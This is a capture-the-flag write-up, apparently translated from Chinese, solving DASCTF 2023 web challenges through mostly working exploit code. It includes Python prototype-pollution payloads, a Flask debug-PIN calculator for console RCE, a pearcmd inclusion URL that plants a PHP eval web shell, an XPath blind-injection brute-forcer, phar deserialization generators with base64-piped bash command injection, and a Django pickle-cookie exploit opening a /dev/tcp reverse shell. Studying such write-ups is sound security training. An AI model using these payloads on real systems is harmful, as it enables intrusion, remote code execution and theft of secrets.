EzFlask
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
Code explanation:
- Import the required modules:
uuid
: Used to generate random keys for Flask applications.Flask
,request
andsession
from theflask
package: These modules are used to create web applications, handle HTTP requests, and manage user sessions.secret
Inblack_list
: Assumedblack_list
to contain a list of sensitive words.
- Set up the Flask application and key:
- Create a Flask application object and set it with a randomly generated key that is used to secure the session data.
- Define some helper functions:
check(data)
: Used to check whether the incoming data is included inblack_list
the sensitive word list.merge(src, dst)
: Used to merge two dictionary objects andsrc
merge the contents of the dictionary intodst
the dictionary.
- Define a
user
class:
- This class contains
username
the andpassword
properties and has acheck
method that checks whether the data entered by the user matches the username and password of the current instance.
- Create an empty
Users
list to store registered user information.- Three routes are defined:
/register
: Handle POST requests for user registration./login
: Handle POST requests for user login./
: Processes GET requests and is used to display the contents of the current code file.
/register
Routing processing function:
- Get the data from the POST request and check if it is included in the sensitive word list. If there are sensitive words, the registration will fail.
- Convert the received data to JSON format, and ensure that the data contains the
username
andpassword
fields, otherwise the registration fails.- Create a new
user
object and merge the data from the request into it.- Add the user object to
Users
the list to complete the registration.
/login
Routing processing function:
- Get the data from the POST request and make sure the data contains the
username
andpassword
fields.- Iterate over
Users
the user objects in the list, usinguser.check(data)
methods to check if the data entered by the user matches the username and password of any registered user.- If the match is successful, it will
username
be stored in the session (session
) and "Login Success" will be returned, indicating that the login is successful.
/
Routing processing function:
- Process the GET request and return the contents of the current code file to the requester.
Learn this question nowPython原型链污染
For details, please see Article_kelp master: Python prototype chain pollution variant (prototype-pollution-in-python)
There are two unexpected solutions
The first is to read environment variables directly through the file attribute.
__file__ is the pathname of the file from which the module was loaded (if it was loaded from a file). __file__ This attribute does not exist for C modules statically linked to the interpreter. For extension modules dynamically loaded from a shared library, it is the pathname of the shared library file.
In your case the module is accessing its own properties in the __file__ global namespace.
Because __init__
it is banned, you can use global variables to directly use them file
as files that store environment variables.
payload:
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}
As can be seen from /
the route, the route __file__
reads the file directly through the attributes and outputs it, so direct access is enough.
The second type,static静态目录污染
_static_url_path
This attribute stores
flask
the value of the static directory. The default value isstatic
.flask
The resources under access can be used such ashttp://domain/static/xxx
, which is actually equivalent to accessing the file_static_url_path
in the directory and returning the content of the file as the response contentxxx
So we can directly construct the payload for pollution. The questions are filtered out __init__
, but check
after experiencing it once json.loads
and json recognition unicode
, we can pass Unicode编码进行绕过
the payload:
{
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
},
"username":1,
"password":1
}
The payload comes from the Boogipop master: DASCTF 2023 & 0X401 Web WriteUp
The value after construction _static_folder
becomes the root directory.
Then you can read the environment variable to get the flag
Expected solution:
The question is to turn on the debug mode of flask, access the console, then read it with any file 计算PIN码
, and finally perform RCE.
Use script to calculate PIN code
Six elements for PIN generation
/etc/password
username: can be read and guessed under any file reading- modname: default is
flask.app
- appname: default is
Flask
app.py
Moddir is under the flask library绝对路径
and can be obtained by reporting an error. For example, when passing parameters, a variable that does not exist is given.- decimal of uuidnode mac address: arbitrary file reading
/sys/class/net/the0/address
- machine_id: machine code
About machine_id
If you can read any file, try to read it/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py
The above python version can be obtained by reporting an error, and find the get_machine-id method inside
You can know /etc/machine-id
and /proc/sys/kernel/random/boot_id
break as soon as one of them is read.
Then continue to splice the values matched by /proc/self/cgroup
the upper and lower regular expressions
So we can know that machine_id is a concatenation of two values.
When we use the script, we need to obtain these six values to correctly calculate the PIN code.
Returning to this question, obtain it first username
and use the prototype chain to pollute it, so __file__
that/etc/passwd
Then access /
the route and username
getroot
modname
and appname
are both defaults. app.py
The absolute path obtained next can be tainted to make /
the route point to a non-existent interface, and then you can enter the error reporting interface.
Then access it through the url to enter the error reporting interface, and then get the absolute path./usr/local/lib/python3.10/site-packages/flask/app.py
Next uuidnode
, find it and read it through any file./sys/class/net/eth0/address
But this is hexadecimal, we need to convert it to decimal
Get uuidnode
: 173855817367817
, and finally get it machine_id
to calculate the pin code.
As said, the machine code is composed of two parts. One part is the sum of one of them, /etc/machine-id
and the other part is the value under the path./proc/sys/kernel/random/boot_id
/proc/self/cgroup
Read one by one, what is read here is /etc/machine-id
and/proc/self/cgroup
The first half has been obtained 96cec10d3d9307792745ec3b85c89620
. Now let’s get the second half and read it from any file./proc/self/cgroup
This way you get the second half,docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope
To sum up, the six conditions are
- username:root
- modname:flask.app
- appname:Flask
- moddir:/usr/local/lib/python3.10/site-packages/flask/app.py
- uuidnode:173855817367817
- machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope
The following is a script to calculate the PIN code
import hashlib
from itertools import chain
probably_public_bits = [
'root', #username
'flask.app', #modname
'Flask', #appname
'/usr/local/lib/python3.10/site-packages/flask/app.py' #moddir
]
private_bits = [
'173855817367817', #uuidnode
'96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{
h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{
int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
Run and get the result678-582-683
[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-Hcs9y0kN-1691317008893) (C:\Users\admin\AppData\Roaming\Typora\typora-user-images\ image-20230726172309573.png)]
Then access console
the route and enter the debug that comes with flask.
Enter the PIN we calculated into the console and perform RCE
ez_cms
This question tortured me for the entire competition and I couldn’t stand it at all.
What is examined is pearcmd.php
local file inclusion, which NSSRound #8
is the same as MyPage.
[NSSCTF Round #8]——web special competition wp
/admin
The routing exists in the background, and weak passwords can be used to log in, account number admin
, and password.123456
We need to pearcmd.php
call the file and then use the pear command
Construct payload:
http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php
Then use the created one 1.php
to perform RCE, you can use Ant Sword to connect, URL
http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?r=?r=../../../../../../../../tmp/1
The flag is in the root directory, or rce
cmd=system("ls /");
get flag
cmd=system("cat /f*");
This Word still exists SQL注入
, XSS
, 任意文件下载
. If you know the flag file name, you can download the flag directly.
MyPicDisk
Dirsearch found nothing, and burp captured packets and couldn't get any information.
There is a login interface, try the universal password, but the username needs to beadmin
It's a bit strange. Although I can log in, I don't quite understand it.
But you can see from the above request header that xml
data packets can be sent, so you can choose to proceed XXE盲注
and get the password.
Run the script here to get the password.
import requests
import time
url ='http://bc385a83-ddb5-4347-920d-19c0e0e4fac0.node4.buuoj.cn:81/index.php'
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
#猜测子节点名称
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
#
# payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
#003d7628772d6b57fec5f30ccbc82be1
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
Get the password: 003d7628772d6b57fec5f30ccbc82be1
, then decrypt it with md5 to get the password 15035371139
, the account number is admin
, and then log in
After logging in, the interface is as follows
You can see that there are hints, , and the source code /y0u_cant_find_1t.zip
obtained after decompression./index.php
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{
$username}' and password='{
$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
Code explanation:
- First, the code opens the Session and sets the error reporting level to 0 (that is, no error information is displayed).
FILE
Next, a class named is defined for processing related operations on image files. This class has the following member properties and methods:
- Attributes:
filename
: Store the image file name.lasttime
: Stores the last modification time of the image file.size
: The size of the stored image file.- method:
__construct()
: Constructor, used to initialize objects. It performs some security checks, such as checking whether the file name contains slashes (/
), multiple dots (.
), and whether it is a valid file. If the conditions are not met,Error
an exception will be thrown.remove()
: Method to delete image files, usingunlink()
function.show()
: Method to display image information, output file name, last modification time and size.__destruct()
: Destructor, which will be executed when the object is destroyed. Here,system()
the function is used to execute a commandls -all
and display the detailed information of the image file.
- Then, the code checks whether the user is logged in (judged by Session). If there is no login, the login form is displayed and the user's login information is verified. An XML file is used for information verification
secret.xml
. If the verification is successful, the user name is stored in the Session and jumps to/index.php
the page.- If the user is logged in and has an administrator account (user name is "admin"), the function of uploading images and a list of all image files in the current directory are displayed. Users can click on the link of the image file to perform operations, and support "remove" (delete the image) and "show" (display image information). Also supports the "md5" parameter, which is used to display the MD5 hash value of the image file.
- The image upload function uses
<form>
tags andenctype="multipart/form-data"
attributes. When the user uploads an image, the code will check whether the file type is jpg, jpeg, gif, png or bmp, and save the image in the current directory.file
The code obtains the values of parameters from the GET methodtodo
. These parameters are included in the URL when the user clicks on the image link.- If
todo
the value is "md5", executemd5_file()
the function to calculate the MD5 hash value of the specified file and output it to the page.- Otherwise,
todo
create anFILE
object based on the value to handle the image file. The classes hereFILE
have been defined before and are used for basic operations on image files.- If
todo
the value is not "remove" and "show", it means that the user clicked the link to the image file, and the code will output a preview of the image and two links: one for deleting the image (todo=remove), and the other for displaying the image. information(todo=show).- If
todo
the value is "remove",$file->remove()
the method is called to delete the image file, a prompt box pops up through JavaScript, and then redirects to the home page/index.php
.- If
todo
the value is "show",$file->show()
the method is called to display the details of the image.
There are three key points in the source code part:
-
There is a type check on the file name when uploading the file.
-
There is command splicing in the FILE class that can perform RCE, but there is a blacklist check for the splicing parameters.
-
When the incoming todo parameter is md5, the md5_file function will be called
method one:
Use md5_file as the entry point for phar deserialization, and for the blacklist of the filename parameter in FILE, base64 encoding + output stream redirection is used to bypass it.
If you do not log in with a password obtained through XXE blind injection but with a universal password, since the logged in account is not admin, the session will be destroyed every time an operation is performed, so the login package must be re-sent before each operation. , reset session
The script used to generate the phar package is as follows. After generation, change the suffix to jpg and upload it.
<?php
class FILE{
public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
#这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
public $lasttime;
public $size;
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
}
#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
The function of the file generated by this script is to output the content of the file obtained after executing the command 4.txt
, which can be modified as appropriate.
Method Two:
This method does not pass base64, but directly phar反序列化
generates an executable command file and then outputs the result to the echo interface.
The script to generate the phar package is as follows
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE("/;ls /");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering()
?>
Upload the file we generated and use burp to capture the packet so that the file suffix becomes.jpg
Then access it through the phar protocol, payload:
http://3867c331-be50-486e-911f-5384704761cf.node4.buuoj.cn:81/index.php/?file=phar://1.jpg&todo=md5
You can see that the root directory has been successfully scanned. The flag is in adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
the file. Modify the content of the above script to regenerate a phar file. The command cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
can read the flag.
Method three:
command tile injection
You only need to perform string collage on the uploaded file name. But due to filename
the blacklist, we need to base64 encode
The target drone here has been unable to be turned on. I scold BUU every day.
The target machine is ready. Upload the file and capture the packet. Change the file name to;echo bHMgLw==|base64 -d|bash;test.png
Then access the file and you can see the results of successfully scanning the directory are echoed.
Modify the command so that the base command is cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
, payload:
filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png"
Get flag after access
this_py
The question directly gave us the source code
The important thing issetting.py
"""
Django settings for openlug project.
Generated by 'django-admin startproject' using Django 2.2.5.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ["*"]
# Application definition
INSTALLED_APPS = [
# 'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'app'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
# we're going to be RESTful in the future,
# to prevent inconvenience, just turn csrf off.
# 'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'openlug.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'zh-Hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_URL = '/static/'
LOGIN_URL = '/'
Code explanation
This code is a settings file (settings.py) for a Django project, which contains various settings for configuring the project, such as database connection, template path, internationalization settings, etc. Below I will explain the meaning of these settings paragraph by paragraph:
- Import module: First, the code imports the Python
os
module, which is used to handle file paths and directories.- Basic path setting:
BASE_DIR
The variable specifies the base directory of the project. It obtainsos.path.abspath(__file__)
the absolute path of the current file (settings.py), and thenos.path.dirname
removes the file name and the last directory name twice to obtain the root directory of the project.- Key setting:
SECRET_KEY
The variable is a secret key used to encrypt sensitive information. In a production environment, this key should be kept confidential.- Debug settings:
DEBUG
Variable determines whether to enable debugging mode. This should be set to in a production environmentFalse
to ensure security.- Allowed hosts:
ALLOWED_HOSTS
variable specifies the host names that are allowed to access this Django project. In this example, using["*"]
means allows access from any host. In a real production environment, the allowed hosts should be restricted.- Installed applications:
INSTALLED_APPS
The list contains Django applications used by the project. In this example, in addition to some default applications,app
an application named.- Middleware settings:
MIDDLEWARE
A list containing middleware that is executed between requests and responses. Middleware is used to process requests and responses and perform some pre-processing or post-processing tasks.- Root URL configuration:
ROOT_URLCONF
The variable specifies the path to the root URL configuration file. In this example, the root URL profile isopenlug.urls
.- Session engine settings:
SESSION_ENGINE
andSESSION_SERIALIZER
the storage engine and serialization methods used to configure the session.- Template Settings:
TEMPLATES
List defines the configuration of the Django template engine. It specifies the directory where the templates are stored, the backend of the template engine, and the context processor.- WSGI application:
WSGI_APPLICATION
variable specifies the path to the WSGI application.- Database configuration:
DATABASES
Dictionary defines the settings for the database connection. In this example, SQLite is used as the default database, and the database file is stored in the root directory of the project.- Password verification settings:
AUTH_PASSWORD_VALIDATORS
The list defines the rules for verifying user passwords, including similarity, minimum length, common passwords, etc.- Internationalization settings:
LANGUAGE_CODE
,TIME_ZONE
,USE_I18N
,USE_L10N
andUSE_TZ
are used to configure internationalization and time zone settings.- Static file settings:
STATIC_URL
Defines the URL prefix of static files, which is used to access static resources such as CSS and JavaScript.- Login URL setting:
LOGIN_URL
Specifies the URL that non-logged-in users are redirected to when they try to access a protected page.
Through templates
the directory, urls.py
you can see that there are four routes
from django.urls import path
from . import views
urlpatterns = [
path('', views.index_view, name='index'),
path('login', views.login_view, name='login'),
path('auth', views.auth_view, name='auth'),
path('error', views.error_view, name='error')
]
The code for auth routing is as follows
def auth_view(request, onsuccess='/', onfail='/error'):
username = request.POST["username"]
password = request.POST["password"]
user = authenticate(request, username=username, password=password)
if user is not None:
login(request, user)
return redirect(onsuccess)
else:
return redirect(onfail)
The dangerous part of this code is here
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
- ROOT_URLCONF = 'openlug.urls': This setting defines the path to the project's root URL configuration file. In Django, the root URL configuration file is responsible for mapping different URL paths to corresponding view functions or other processing logic. In this example, the root URL configuration file is located , which is the file of the application
openlug.urls
in the project .openlug
urls.py
- SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies': This setting specifies the storage engine for Django sessions. Sessions are a mechanism for storing user data between different HTTP requests. Here, the session storage engine is set to
signed_cookies
, which means that the session data will be encrypted and stored in the browser's cookie.- SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer': This setting defines how session data is serialized. In Django, session data needs to be serialized for storage and transmission. Here, the session data will
PickleSerializer
be serialized using , which is a serialization method provided by Django by default, which uses Python'spickle
module to serialize the data into a binary format.
SECRET_KEY and SESSION_SERIALIZER are given as PickleSerializer, which should use the session to perform pickle deserialization. It should perform pickle.loads() on the session during auth authentication.
So here we can see SESSION_SERIALIZER
that yes PICKLE
, then we can think of session , and it has also been given pickle反序列化
in the source codesecret_key
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
We can first construct exp:
import urllib3
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
import django.core.signing
import pickle
class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
import subprocess
import base64
class Command(object):
def __reduce__(self):
return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/ip/port <&1"',),-1,None,None,None,None,None,False, True))
out_cookie= django.core.signing.dumps(
Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)
There was no pop-up here at first. It said it was the python version when generating the payload, the pickle package version, etc. The version was changed topython3.5
I have been unable to successfully rebound the shell here. I also modified the python version but it still doesn’t work, so I gave up.
ez_timing
It doesn’t happen again, it’s too difficult, you can read n03tAck team
the article
Please refer to the articles of masters as follows:
Article_Master kelp: Python prototype chain pollution variant (prototype-pollution-in-python)
This is too strong
Boogipop Master: DASCTF 2023 & 0X401 Web WriteUp
Star Alliance Security Team: DASCTF 2023 & 0X401 July Summer Challenge Writeup
n03tAck team:2023DASCTF&0X401 WriteUp
丨Arcueid丨Master: Summary of flask calculation pin in ctf
Master Calabash 42: DASCTF 2023 & 0X401 July Summer Challenge web reappearance